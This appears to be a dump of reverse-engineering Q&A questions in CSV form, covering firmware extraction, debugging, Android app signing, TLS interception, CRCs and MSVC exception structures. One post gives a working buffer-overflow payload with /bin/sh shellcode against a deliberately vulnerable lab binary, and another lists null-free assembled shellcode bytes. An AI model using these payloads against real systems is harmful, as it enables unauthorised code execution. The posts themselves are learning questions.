+                                 ; I don't know why int 0x2E be used. I thought it causes overhead?
+jnz     short loc_18009CB15
+syscall                 
+retn
+loc_18009CB15:          
+int     2Eh             
+retn
+NtCreateFile endp
+
+ +if anyone knows why the system calls are called like this I would love to know.
+to summarize:
+(32 bit) why is j_Wow64Transition there instead of KiFastSystemcall?
+(64 bit) what is being compared and why?
+thanks. +" +"['disassembly', 'gdb']"," Title: GDB disassembly - breakpoint problemBody: My question is, when i dont use any breakpoint it show the message saying ""You made it, now keygen me!"", but when i put a breakpoint in the main, or any other place it will show a message about __libc_start_main, and will not show the message saying ""You made it, now keygen me!"", why this happens because of the breakpoint? + + +" +"['assembly', 'decompilation', 'disassemblers', 'decompile', 'decompiler']"," Title: Automatic decompilation from Assembly x86Body: Is there a tool to automatic decompile an assembly x86 code? + +What I need is a tool where I simply paste my code and it returns C code. + +Thanks +" +['firmware']," Title: How can I modify files in a jffs2 imageBody: I'm working with the firmware of SIP phone. I extracted the JFFS2 file system image from the firmware and mounted it using modprobe ike this: + +
sudo modprobe mtdram total_size=36360
+sudo modprobe mtdblock 
+sudo modprobe jffs2
+sudo modprobe block2mtd
+sudo dd if=~/1C6A83.jffs2  of=/dev/mtdblock0
+sudo mount -t jffs2 /dev/mtdblock0 ~/mnt
+
+ +However when I try to change files on the mounted device I get an error ""No space left on device"". What am I doing wrong? May be my device mtdblock0 is protected from writing? +" +"['windows', 'binary-analysis']"," Title: Can I make a DDS image from headerless DDS data?Body: I have some files which I've decrypted that I believe are DDS images. These files do not have a DDS header, however the data looks similar to what I've seen in other DDS images. I believe to a great extent that this data uses DXT5 texture compression. Is there any way for me make a DDS image out of these files if I dont have the file header? + +Here is a link to a pastebin with the data of one of the files that I believe are headerless DDS (DXT5): https://pastebin.com/axf7ytfj +" +"['android', 'encryption', 'obfuscation', 'patch-reversing', 'javascript']"," Title: Trying to replicate encryption of an android appBody: I was trying to replicate/copy the encryption of an android app which uses CryptoJS with sha256 encryption as having seen in the source code of the android app. fingerprinting the app, it was built with reactJS and TypeScript and apparently compiled with Babel compiler, which all I don't understand them thoroughly. +the code encrypts a signature to communicate with the server, Here is a snippet of the code: + +
f = t.type + ""&"" + encodeURIComponent(t.url) + ""&"" + n + ""&"" + u + ""&"" + b + 
+                                ""&LS8goCQy4O2w5xnPmEOp/PjtKe37+d9HxRthqug9VC0="",
+Signature = hexToBase64((0, c.default)(f).toString());
+
+ +in the snippet code Signature = hexToBase64((0, c.default)(f).toString()); the signature is calculated but unfortunately because of source code was uglified and minified, in my research I identified the code responsible to calculate the signature is as follows: + +
__d(function (g, r, i, a, m, e, d) {
+        var t,
+        n;
+        t = this,
+        n = function (t) {
+            return (function (n) {
+                var o = t,
+                s = o.lib,
+                c = s.WordArray,
+                f = s.Hasher,
+                h = o.algo,
+                u = [],
+                l = [];
+                !(function () {
+                    function t(t) {
+                        for (var o = n.sqrt(t), s = 2; s <= o; s++)
+                            if (!(t % s))
+                                return !1;
+                        return !0
+                    }
+                    function o(t) {
+                        return 4294967296 * (t - (0 | t)) | 0
+                    }
+                    for (var s = 2, c = 0; c < 64; )
+                        t(s) && (c < 8 && (u[c] = o(n.pow(s, .5))), l[c] = o(n.pow(s, .3333333333333333)), c++), s++
+                })();
+                var _ = [],
+                v = h.SHA256 = f.extend({
+                    _doReset: function () {
+                        this._hash = new c.init(u.slice(0))
+                    },
+                    _doProcessBlock: function (t, n) {
+                        for (var o = this._hash.words, s = o[0], c = o[1], f = o[2], h = o[3], u = o[4], v = o[5], p = o[6], H = o[7], y = 0; y < 64; y++) {
+                            if (y < 16)
+                                _[y] = 0 | t[n + y];
+                            else {
+                                var w = _[y - 15],
+                                A = (w << 25 | w >>> 7) ^ (w << 14 | w >>> 18) ^ w >>> 3,
+                                S = _[y - 2],
+                                B = (S << 15 | S >>> 17) ^ (S << 13 | S >>> 19) ^ S >>> 10;
+                                _[y] = A + _[y - 7] + B + _[y - 16]
+                            }
+                            var b = s & c ^ s & f ^ c & f,
+                            x = (s << 30 | s >>> 2) ^ (s << 19 | s >>> 13) ^ (s << 10 | s >>> 22),
+                            j = H + ((u << 26 | u >>> 6) ^ (u << 21 | u >>> 11) ^ (u << 7 | u >>> 25)) + (u & v ^ ~u & p) + l[y] + _[y];
+                            H = p,
+                            p = v,
+                            v = u,
+                            u = h + j | 0,
+                            h = f,
+                            f = c,
+                            c = s,
+                            s = j + (x + b) | 0
+                        }
+                        o[0] = o[0] + s | 0,
+                        o[1] = o[1] + c | 0,
+                        o[2] = o[2] + f | 0,
+                        o[3] = o[3] + h | 0,
+                        o[4] = o[4] + u | 0,
+                        o[5] = o[5] + v | 0,
+                        o[6] = o[6] + p | 0,
+                        o[7] = o[7] + H | 0
+                    },
+                    _doFinalize: function () {
+                        var t = this._data,
+                        o = t.words,
+                        s = 8 * this._nDataBytes,
+                        c = 8 * t.sigBytes;
+                        return o[c >>> 5] |= 128 << 24 - c % 32,
+                        o[14 + (c + 64 >>> 9 << 4)] = n.floor(s / 4294967296),
+                        o[15 + (c + 64 >>> 9 << 4)] = s,
+                        t.sigBytes = 4 * o.length,
+                        this._process(),
+                        this._hash
+                    },
+                    clone: function () {
+                        var t = f.clone.call(this);
+                        return t._hash = this._hash.clone(),
+                        t
+                    }
+                });
+                o.SHA256 = f._createHelper(v),
+                o.HmacSHA256 = f._createHmacHelper(v)
+            })(Math),
+            t.SHA256
+        },
+        ""object"" == typeof e ? m.exports = e = n(r(d[0])) : ""function"" == typeof define && define.amd ? define([""./core""], n) : n(t.CryptoJS)
+    }, 725, [726]);
+
+
+ +another method with same functionality but with some minor changes was also defined: + +
    __d(function (g, r, i, a, m, e, d) {
+        var t,
+        n;
+        t = this,
+        n = function () {
+            var t = t || (function (t, n) {
+                var o = Object.create || (function () {
+                    function t() {}
+                    return function (n) {
+                        var o;
+                        return t.prototype = n,
+                        o = new t,
+                        t.prototype = null,
+                        o
+                    }
+                })(),
+                s = {},
+                c = s.lib = {},
+                u = c.Base = {
+                    extend: function (t) {
+                        var n = o(this);
+                        return t && n.mixIn(t),
+                        n.hasOwnProperty('init') && this.init !== n.init || (n.init = function () {
+                            n.$super.init.apply(this, arguments)
+                        }),
+                        n.init.prototype = n,
+                        n.$super = this,
+                        n
+                    },
+                    create: function () {
+                        var t = this.extend();
+                        return t.init.apply(t, arguments),
+                        t
+                    },
+                    init: function () {},
+                    mixIn: function (t) {
+                        for (var n in t)
+                            t.hasOwnProperty(n) && (this[n] = t[n]);
+                        t.hasOwnProperty('toString') && (this.toString = t.toString)
+                    },
+                    clone: function () {
+                        return this.init.prototype.extend(this)
+                    }
+                },
+                f = c.WordArray = u.extend({
+                    init: function (t, n) {
+                        t = this.words = t || [],
+                        this.sigBytes = void 0 != n ? n : 4 * t.length
+                    },
+                    toString: function (t) {
+                        return (t || p).stringify(this)
+                    },
+                    concat: function (t) {
+                        var n = this.words,
+                        o = t.words,
+                        s = this.sigBytes,
+                        c = t.sigBytes;
+                        if (this.clamp(), s % 4)
+                            for (var u = 0; u < c; u++) {
+                                var f = o[u >>> 2] >>> 24 - u % 4 * 8 & 255;
+                                n[s + u >>> 2] |= f << 24 - (s + u) % 4 * 8
+                            }
+                        else
+                            for (u = 0; u < c; u += 4)
+                                n[s + u >>> 2] = o[u >>> 2];
+                        return this.sigBytes += c,
+                        this
+                    },
+                    clamp: function () {
+                        var n = this.words,
+                        o = this.sigBytes;
+                        n[o >>> 2] &= 4294967295 << 32 - o % 4 * 8,
+                        n.length = t.ceil(o / 4)
+                    },
+                    clone: function () {
+                        var t = u.clone.call(this);
+                        return t.words = this.words.slice(0),
+                        t
+                    },
+                    random: function (n) {
+                        for (var o, s = [], c = function (n) {
+                            n = n;
+                            var o = 987654321,
+                            s = 4294967295;
+                            return function () {
+                                var c = ((o = 36969 * (65535 & o) + (o >> 16) & s) << 16) + (n = 18e3 * (65535 & n) + (n >> 16) & s) & s;
+                                return c /= 4294967296,
+                                (c += .5) * (t.random() > .5 ? 1 : -1)
+                            }
+                        }, u = 0; u < n; u += 4) {
+                            var h = c(4294967296 * (o || t.random()));
+                            o = 987654071 * h(),
+                            s.push(4294967296 * h() | 0)
+                        }
+                        return new f.init(s, n)
+                    }
+                }),
+                h = s.enc = {},
+                p = h.Hex = {
+                    stringify: function (t) {
+                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c < o; c++) {
+                            var u = n[c >>> 2] >>> 24 - c % 4 * 8 & 255;
+                            s.push((u >>> 4).toString(16)),
+                            s.push((15 & u).toString(16))
+                        }
+                        return s.join('')
+                    },
+                    parse: function (t) {
+                        for (var n = t.length, o = [], s = 0; s < n; s += 2)
+                            o[s >>> 3] |= parseInt(t.substr(s, 2), 16) << 24 - s % 8 * 4;
+                        return new f.init(o, n / 2)
+                    }
+                },
+                l = h.Latin1 = {
+                    stringify: function (t) {
+                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c < o; c++) {
+                            var u = n[c >>> 2] >>> 24 - c % 4 * 8 & 255;
+                            s.push(String.fromCharCode(u))
+                        }
+                        return s.join('')
+                    },
+                    parse: function (t) {
+                        for (var n = t.length, o = [], s = 0; s < n; s++)
+                            o[s >>> 2] |= (255 & t.charCodeAt(s)) << 24 - s % 4 * 8;
+                        return new f.init(o, n)
+                    }
+                },
+                y = h.Utf8 = {
+                    stringify: function (t) {
+                        try {
+                            return decodeURIComponent(escape(l.stringify(t)))
+                        } catch (t) {
+                            throw new Error('Malformed UTF-8 data')
+                        }
+                    },
+                    parse: function (t) {
+                        return l.parse(unescape(encodeURIComponent(t)))
+                    }
+                },
+                v = c.BufferedBlockAlgorithm = u.extend({
+                    reset: function () {
+                        this._data = new f.init,
+                        this._nDataBytes = 0
+                    },
+                    _append: function (t) {
+                        'string' == typeof t && (t = y.parse(t)),
+                        this._data.concat(t),
+                        this._nDataBytes += t.sigBytes
+                    },
+                    _process: function (n) {
+                        var o = this._data,
+                        s = o.words,
+                        c = o.sigBytes,
+                        u = this.blockSize,
+                        h = c / (4 * u),
+                        p = (h = n ? t.ceil(h) : t.max((0 | h) - this._minBufferSize, 0)) * u,
+                        l = t.min(4 * p, c);
+                        if (p) {
+                            for (var y = 0; y < p; y += u)
+                                this._doProcessBlock(s, y);
+                            var v = s.splice(0, p);
+                            o.sigBytes -= l
+                        }
+                        return new f.init(v, l)
+                    },
+                    clone: function () {
+                        var t = u.clone.call(this);
+                        return t._data = this._data.clone(),
+                        t
+                    },
+                    _minBufferSize: 0
+                }),
+                w = (c.Hasher = v.extend({
+                        cfg: u.extend(),
+                        init: function (t) {
+                            this.cfg = this.cfg.extend(t),
+                            this.reset()
+                        },
+                        reset: function () {
+                            v.reset.call(this),
+                            this._doReset()
+                        },
+                        update: function (t) {
+                            return this._append(t),
+                            this._process(),
+                            this
+                        },
+                        finalize: function (t) {
+                            return t && this._append(t),
+                            this._doFinalize()
+                        },
+                        blockSize: 16,
+                        _createHelper: function (t) {
+                            return function (n, o) {
+                                return new t.init(o).finalize(n)
+                            }
+                        },
+                        _createHmacHelper: function (t) {
+                            return function (n, o) {
+                                return new w.HMAC.init(t, o).finalize(n)
+                            }
+                        }
+                    }), s.algo = {});
+                return s
+            })(Math);
+            return t
+        },
+        ""object"" == typeof e ? m.exports = e = n() : ""function"" == typeof define && define.amd ? define([], n) : t.CryptoJS = n()
+    }, 726, []);
+
+
+ +I didn't really understand which one is responsible to reproduce a signature like this : aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA= + +additionally in my research I was able to produce a signature but the server always returns invalid signature: + +
app signature : aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA=
+
+signature produced : Xpw28zTUMeJE9x4ki73tTs55IxDQy5Y4d0p9kgQgfo8=
+
+
+ +what am I missing from the above code snippet? can I change it into a pure javascript code? +" +['ida']," Title: How to mark collection of strings/ offsets in idaBody: I'm looking at a PE file that loads a bunch of strings and offsets into memory one after the other, and I was wondering whether there was any way to mark all of the dwords in a range of memory as offsets, and all references to chars in a range of memory as strings. + +I could do each manually, but it seems like the kind of thing that you should be able to reanalyze during debug or that you should be able to collectively reclassify. +" +"['android', 'dynamic-analysis', 'https-protocol', 'proxy']"," Title: Charles TLS Proxy for Android device with root accessBody: I am trying to setup a TLS proxy with Charles proxy to man-in-the-middle an Android app. I would like to be able to view the contents of HTTPS traffic. This is not an app that I built, rather I am trying to reverse engineer an apk that I obtained. I have performed my usual static analysis of the apk, but I also want to dynamically analyze the HTTPS traffic. I am running an emulated Pixel 2 device with API 23 (Marshmallow). + +I have read all the documentation I can find regarding how to use the Charles proxy as an TLS proxy for Android. However, much of the documentation is directed at setting up a TLS proxy for an app for which I have control over the AndroidManifest.xml and can thus set the network security configuration to trust user CAs--the default/documented procedure to setup a Charles TLS proxy involves downloading the Charles CA cert to the Android device and installing it as a user CA. + +I assumed that if I could force the charles CA cert into the System cert folder (as opposed to the user certs) then the TLS proxy would ""just work."" However, even after I copied the Charles CA cert into the ""/system/etc/security/cacerts"" directory I still can not MiTM HTTPS traffic for apps. In addition, when I try to MiTM web browser traffic, the browser still claims there is an issues with the TLS connection (even thought the Charles cert is in the cacerts folder and should now be trusted). I confirmed the Charles cert is listed in the list of ""System"" CA certificate (although the settings app does crash if I try to view the cert metadata info--because there is none for that cert, just the encoded certificate). + +Why is the Charles CA cert not trusted even when I have forced it into the system CA cert folder? Is there a better tool to be using besides Charles? Any help would be greatly appreciated as I am coming to my wits' end. +" +['jtag']," Title: NAND flash programming over host MCU JTAGBody: We starting mass production of a custom device. It uses Chinese MCU LT1901. MCU core is arm926ej-s. +MCU boots from NAND flash. We are forced to program NAND flash before soldering on PCB. +I don't like it. I want to have a way to program NAND after soldering over JTAG. +I have only Chinese documentation for this MCU and this document doesn't have information about JTAG. +I have JTAGs like Link, FT2232H module. +I know in theory it's possible to do over JTAG. +But is it possible if I have not information about JTAG? +I tried to connect J-Link commander for different devices with the same core, but it fails. +What is the easiest way to program NAND over JTAG in my case? +" +['embedded']," Title: 8 bit CRC help - AutomotiveBody: Reverse engineering some Automotive CAN data and the CRC is getting me. +8 bytes per message, with Byte 0 being the CRC. +Byte 1 & 0xF contains a counter [0x0 to 0xF]. The rest of the message is data. + +I've tried running lines of data through various CRC calculations but getting nowhere fast. Any help would be appreciated. csv on the link below + +I've been running lines of this through reveng and getting the odd match but it's a bit hit and miss + +https://drive.google.com/open?id=1w7diZetSim7hVV1P-2Qls3DfFkB-57vT + +Data here is: +ID,B0,B1,B2...,B7 in Hex + +40F8000000C0000000 +409C010000C0000000 +4030020000C0000000 +4054030000C0000000 +4047040000C0000000 +4023050000C0000000 +408F060000C0000000 +40EB070000C0000000 +40A9080000C0000000 +40CD090000C0000000 +4061100000C0000000 +4005110000C0000000 +4016120000C0000000 +4072130000C0000000 +40DE140000C0000000 +40BA150000C0000000 + +Thanks in advance, +D +" +"['ida', 'idapython', 'python']"," Title: Ida python No module named tempoBody: I tried to run tempo.py from ida python github , but I got error No module named tempo + +According to Igor Skochinsky answer , this script is wrong + +
+ Apparently, tempo was an internal module used during IDAPython + development. This sample should not have been released and will be + removed. +
+ +I want to dump the registers and dump the memory of the process like they did in the script. +" +['ollydbg']," Title: ollydbg: CMP - what the differenceBody: What is the difference between: + +
MOV SI,WORD PTR DS:[ESI+0D]
+
+CMP SI,1388
+
+ +and + +
CMP WORD PTR DS:[ESI+0d],1388 
+
+" +"['memory', 'memory-dump']"," Title: Can i dump dll from pagefile?Body: Like the title of this question, im trying to dump dll of process but it only return a message Error: Dllbase is paged (pic below) + + + +So is the dll on pagefile and can i extract it from pagefile.sys ? +Thanks +" +"['linux', 'elf', 'exploit', 'shellcode']"," Title: Shellcode execution segfaultBody: I have been trying to exploit simple buffer overflow caused by scanf. I'm working on x86 Linux. The point is to spawn a shell. I sucesfully overwritten return address and jumped into my shellcode. But when it executes some strange thing occurs that i can't understand. The code that I'am working on is taken from here: https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/ + +Compilation: gcc -fno-stack-protector -z execstack -o vuln vuln.c -m32 + +ASLR is disabled too. +Code: + +
#include <stdio.h>
+
+void secretFunction()
+{
+    printf(""Congratulations!\n"");
+    printf(""You have entered in the secret function!\n"");
+}
+
+void echo()
+{
+    char buffer[20];
+
+    printf(""Enter some text:\n"");
+    scanf(""%s"", buffer);
+    printf(""You entered: %s\n"", buffer);    
+}
+
+int main()
+{
+    echo();
+
+    return 0;
+}
+
+ +I try to exploit it using this payload: +python -c ""print '\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80' + '\x41' * 3 + '\x42' * 4+ '\x8c\xd6\xff\xff' "" +shellcode(25) + padding(3) + ebp(4) + return(4) +Where the last part is return address. It succesfully jumps to my shellcode. + +Here is the assembly view of shellcode (after returning to overwritten address). I step instructions one by one up to mov %esp, %ecx(0xffffd69d) + + + + + +And then when i try to execute mov %esp, %ecx it goes one byte too close. EIP should point 0xffffd69f but it doesn't. + + + +I tested shellcode separately and it worked. + +
int main()
+{
+    char buf[] = ""\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80"";
+    ((void (*)())(buf))();
+    return 0;
+}
+
+ +What I did wrong that it doesnt't work? + +EDIT: +Had to update all pictures, +Registers dump before 'mov %esp,%ecx' + + +" +['patching']," Title: How can I mod the built-in software of my digital piano?Body: I'm curious if anyone has any insight on how I can manipulate or mod the code for the built-in software of a digital piano (specifically the Kawai ES8 - or really any digital piano with a display screen). Like if I wanted to change the default chord progressions for the backing tracks, etc. + +Note that I don't want to connect it to my computer and read the MIDI data (latency issues) - I want to be able to mod the built-in code directly on the digital piano. I'm getting no luck googling so wanted to see if anyone could point me in the right direction. + +Much appreciated! +" +"['ida', 'flirt-signatures']"," Title: IDA FLAIR doesn't see sig filesBody: I've added the following sig files which were generated using flair 7.0 to ida 7.0 + + + +I want ida to find known function names from the sig files, + +when I list the FLIRT signature files I don't see the sig files, why might be the problem? + + + +Thanks. +" +"['ida', 'binary-analysis', 'arm', 'binwalk']"," Title: Recognize binary architectureBody: I have binary that run on Arm Thumb cpu, in embedded devive that not running Linux. + +When I tried to run bimwalk or file ,and even open it with Ida ,but they didn't find out that this binary run on Arm processor. + +I succeed open it with Ida only when I look on the Cpu board and find out this is Arm. + +Is there any tool(without look on Cpu board) that can find out know which processor is for to binary? +" +"['shellcode', 'nasm']"," Title: NULL character (same code) different locationsBody: I'd like to know why NASM generates different opcodes for the same code, when it's in the begin or end of the program? +This question is important because I found NULL characters when I compile the jumper label in the begin of the program, but when I write the same code in the end, it changes and there's no NULL character there. Could anyone give me a hint about it? I have here the NASM code, and the output of objdump. + +NASM code (jumper label in the begin of code): + +
global _start
+
+section .text
+
+jumper:
+        call shellcode
+        msg: db ""Hello World"",0xA
+
+_start:
+        jmp short jumper
+
+shellcode:
+        xor edx, edx
+        mov dl, 0xc
+
+        pop ecx
+
+        xor ebx, ebx
+        inc bl
+        xor eax, eax
+        times 0x04 inc al
+        int 0x80 
+
+        xor ebx, ebx
+        xor eax, eax
+        inc eax
+        int 0x80
+
+ +It has NULL characters as we can see... +(objdump results) Generate with above code: + +
hello-shellcode:     file format elf32-i386
+
+
+Disassembly of section .text:
+
+08049000 <jumper>:
+ 8049000:       e8 0e 00 00 00          call   8049013 <shellcode>
+
+08049005 <msg>:
+ 8049005:       48                      dec    eax
+ 8049006:       65 6c                   gs ins BYTE PTR es:[edi],dx
+ 8049008:       6c                      ins    BYTE PTR es:[edi],dx
+ 8049009:       6f                      outs   dx,DWORD PTR ds:[esi]
+ 804900a:       20 57 6f                and    BYTE PTR [edi+0x6f],dl
+ 804900d:       72 6c                   jb     804907b <shellcode+0x68>
+ 804900f:       64                      fs
+ 8049010:       0a                      .byte 0xa
+
+08049011 <_start>:
+ 8049011:       eb ed                   jmp    8049000 <jumper>
+
+08049013 <shellcode>:
+ 8049013:       31 d2                   xor    edx,edx
+ 8049015:       b2 0c                   mov    dl,0xc
+ 8049017:       59                      pop    ecx
+ 8049018:       31 db                   xor    ebx,ebx
+ 804901a:       fe c3                   inc    bl
+ 804901c:       31 c0                   xor    eax,eax
+ 804901e:       fe c0                   inc    al
+ 8049020:       fe c0                   inc    al
+ 8049022:       fe c0                   inc    al
+ 8049024:       fe c0                   inc    al
+ 8049026:       cd 80                   int    0x80
+ 8049028:       31 db                   xor    ebx,ebx
+ 804902a:       31 c0                   xor    eax,eax
+ 804902c:       40                      inc    eax
+ 804902d:       cd 80                   int    0x80
+
+ +Now I'll change the jumper label to the end: + +
global _start
+
+section .text
+
+_start:
+        jmp short jumper
+
+shellcode:
+        xor edx, edx
+        mov dl, 0xc
+
+        pop ecx
+
+        xor ebx, ebx
+        inc bl
+        xor eax, eax
+        times 0x04 inc al
+        int 0x80 
+
+        xor ebx, ebx
+        xor eax, eax
+        inc eax
+        int 0x80
+
+jumper:
+        call shellcode
+        msg: db ""Hello World"",0xA
+
+ +(objdump generate with above code) It hasn`t NULL character: + +
objdump -d hello-shellcode -M intel
+
+hello-shellcode:     file format elf32-i386
+
+
+Disassembly of section .text:
+
+08049000 <_start>:
+ 8049000:       eb 1c                   jmp    804901e <jumper>
+
+08049002 <shellcode>:
+ 8049002:       31 d2                   xor    edx,edx
+ 8049004:       b2 0c                   mov    dl,0xc
+ 8049006:       59                      pop    ecx
+ 8049007:       31 db                   xor    ebx,ebx
+ 8049009:       fe c3                   inc    bl
+ 804900b:       31 c0                   xor    eax,eax
+ 804900d:       fe c0                   inc    al
+ 804900f:       fe c0                   inc    al
+ 8049011:       fe c0                   inc    al
+ 8049013:       fe c0                   inc    al
+ 8049015:       cd 80                   int    0x80
+ 8049017:       31 db                   xor    ebx,ebx
+ 8049019:       31 c0                   xor    eax,eax
+ 804901b:       40                      inc    eax
+ 804901c:       cd 80                   int    0x80
+
+0804901e <jumper>:
+ 804901e:       e8 df ff ff ff          call   8049002 <shellcode>
+
+08049023 <msg>:
+ 8049023:       48                      dec    eax
+ 8049024:       65 6c                   gs ins BYTE PTR es:[edi],dx
+ 8049026:       6c                      ins    BYTE PTR es:[edi],dx
+ 8049027:       6f                      outs   dx,DWORD PTR ds:[esi]
+ 8049028:       20 57 6f                and    BYTE PTR [edi+0x6f],dl
+ 804902b:       72 6c                   jb     8049099 <msg+0x76>
+ 804902d:       64                      fs
+ 804902e:       0a                      .byte 0xa
+
+ +First shellcode: +""\xe8\x0e\x00\x00\x00\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x0a\xeb\xed\x31\xd2\xb2\x0c\x59\x31\xdb\xfe\xc3\x31\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"" + +Second shellcode: +""\xeb\x1c\x31\xd2\xb2\x0c\x59\x31\xdb\xfe\xc3\x31\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x0a"" +" +"['decompilation', 'qemu']"," Title: inspecting c-sky elf applicationBody: I am new to reverse engineering , but as I am home these days , I wanted to hack my sat receiver +the receiver is based on c-sky v1 architecture + +searching forums , I managed to get the firmware decomposed ( app.squashfs , app_rootfs.jffs2 , loader.bin ,logo.cramfs , upgrade_rootfs.squashfs and zImage ) + +I then extracted a file called ""dvbapp"" from app.squashfs wich I think is main app that does it all + +it is an ELF file , but can not be detected by ghidra as it doesn't support c-sky , radare neither + +my question is what can I do further ? can I even inspect the app ins and outs ( qemu maybe ? ) , or disassemble / decompile it ? + +the c-sky has a big repository for its toolset ( here: https://github.com/c-sky ) , but I can't understand much about linux development + +Thank you +" +"['encryption', 'crc']"," Title: Which value is used for verifiying Zip password?Body: I am studying the way that can be used to check if a given password for an encrypted zip file is correct or not. I see this link: + +How does a zip file detect a correct password? + +In the answer of this question, it said CRC is used to check if a password is correct. It also paste a code snippet from Info-zip to prove this. + +However, after carefully studying the Info-zip source code, as below: + +
    if ((ush)(c | (b<<8)) != (GLOBAL(pInfo->ExtLocHdr) ?
+                           ((ush)GLOBAL(lrec.last_mod_dos_datetime) & 0xffff) :
+                           (ush)(GLOBAL(lrec.crc32) >> 16)))
+
+ +I find when there is ExtLocHdr in the zip item, the lower 2 bytes of last_mod_dos_datetime, instead of the CRC, will be used to verify the password. But this is not mentioned in the file format specification in https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT at all. + +Why? +" +"['disassembly', 'windows', 'x86', 'c++', 'msvc']"," Title: What is the mdisp field in RTTI for throw used for?Body: First of here is the article from which I'm looking up the fields. + +I was trying out different combinations to see how they affect the RTTI for a C++ throw. It seems that having a virtual base class changes the two fields below mdisp but I wasn't able to change the actual mdisp field here is what I've tried: + +
struct B {
+    int a, b;
+};
+
+struct A : virtual B {
+    int b, c;
+};
+int main() {
+
+    struct A* tmp = 0;
+
+    throw tmp;
+}
+
+ +The above will change the catchabletypes of struct A * and struct B * to have different values for pdisp and vdisp because of the virtual base class. + +I've also tried pointer to members but with the no luck of changing the field as well: + +
struct A::* tmp = &A::c;
+
+ +I assumed that the above will cause the field for the type to change because there is an offset for the fields of A relative to B. I also tried removing the virtual specifier for the inheritance in this particular case. + +Here is what the dissasembly looks like: + +
push    offset __TI3PAUA@@ ; throw info for 'struct A *'
+lea     ecx, [ebp+var_8]
+push    ecx
+call    sub_401BB4
+
+.rdata:004130C0 __TI3PAUA@@     dd 0                    ; DATA XREF: _main+13↑o
+.rdata:004130C0                                         ; attributes
+.rdata:004130C4                 dd 0                    ; destructor of exception object
+.rdata:004130C8                 dd 0                    ; forward compatibility frame handler
+.rdata:004130CC                 dd offset __CTA3PAUA@@  ; address of catchable types array
+.rdata:004130D0 __CTA3PAUA@@    dd 3                    ; DATA XREF: .rdata:004130CC↑o
+.rdata:004130D0                                         ; count of catchable type addresses following
+.rdata:004130D4                 dd offset __CT??_R0PAUA@@@8 ; catchable type 'struct A *'
+.rdata:004130D8                 dd offset __CT??_R0PAUB@@@8 ; catchable type 'struct B *'
+.rdata:004130DC                 dd offset __CT??_R0PAX@8 ; catchable type 'void *'
+.rdata:004130E0 __CT??_R0PAUA@@@8 dd CT_IsSimpleType or CT_HasVirtualBase
+.rdata:004130E0                                         ; DATA XREF: .rdata:004130D4↑o
+.rdata:004130E0                                         ; attributes
+.rdata:004130E4                 dd offset ??_R0PAUA@@@8 ; A * `RTTI Type Descriptor'
+.rdata:004130E8                 dd 0                    ; mdisp
+.rdata:004130EC                 dd -1                   ; pdisp
+.rdata:004130F0                 dd 0                    ; vdisp
+.rdata:004130F4                 dd 4                    ; size of thrown object
+.rdata:004130F8                 dd 0                    ; reference to optional copy constructor
+.rdata:004130FC __CT??_R0PAUB@@@8 dd CT_IsSimpleType    ; DATA XREF: .rdata:004130D8↑o
+.rdata:004130FC                                         ; attributes
+.rdata:00413100                 dd offset ??_R0PAUB@@@8 ; B * `RTTI Type Descriptor'
+.rdata:00413104                 dd 0                    ; mdisp
+.rdata:00413108                 dd 0                    ; pdisp
+.rdata:0041310C                 dd 4                    ; vdisp
+.rdata:00413110                 dd 4                    ; size of thrown object
+.rdata:00413114                 dd 0                    ; reference to optional copy constructor
+.rdata:00413118 __CT??_R0PAX@8  dd CT_IsSimpleType      ; DATA XREF: .rdata:004130DC↑o
+.rdata:00413118                                         ; attributes
+.rdata:0041311C                 dd offset ??_R0PAX@8    ; void * `RTTI Type Descriptor'
+.rdata:00413120                 dd 0                    ; mdisp
+.rdata:00413124                 dd -1                   ; pdisp
+.rdata:00413128                 dd 0                    ; vdisp
+.rdata:0041312C                 dd 4                    ; size of thrown object
+.rdata:00413130                 dd 0                    ; reference to optional copy constructor
+
+" +"['x86', 'seh', 'msvc']"," Title: What does state mean in unwinding?Body: I'm looking at UnwindMapEntry. Here is it's declaration: + +
//
+// UnwindMapEntry - Description of each state transition for unwinding
+//  the stack (i.e. calling destructors).
+//
+// The unwind map is an array, indexed by current state.  Each entry specifies
+// the state to go to during unwind, and the action required to get there.
+// Note that states are represented by a signed integer, and that the 'blank'
+// state is -1 so that the array remains 0-based (because by definition there
+// is never any unwind action to be performed from state -1).  It is also
+// assumed that state indices will be dense, i.e. that there will be no gaps of
+// unused state indices in a function.
+//
+
+typedef const struct _s_UnwindMapEntry {
+    __ehstate_t toState;                    // State this action takes us to
+#if _EH_RELATIVE_FUNCINFO
+    int         action;                     // Image relative offset of funclet
+#else
+    void        (__cdecl * action)(void);   // Funclet to call to effect state change
+#endif
+} UnwindMapEntry;
+
+ +Sorry if it's obvious for you but what does toState means? It is not clear for me by reading the description above. + +Also there is this structure for a tryblockmaprntry which is also involved somehow: + +
//
+// HandlerMapEntry - associates a handler list (sequence of catches) with a
+//  range of eh-states.
+//
+typedef const struct _s_TryBlockMapEntry {
+    __ehstate_t     tryLow;             // Lowest state index of try
+    __ehstate_t     tryHigh;            // Highest state index of try
+    __ehstate_t     catchHigh;          // Highest state index of any associated catch
+    //....
+
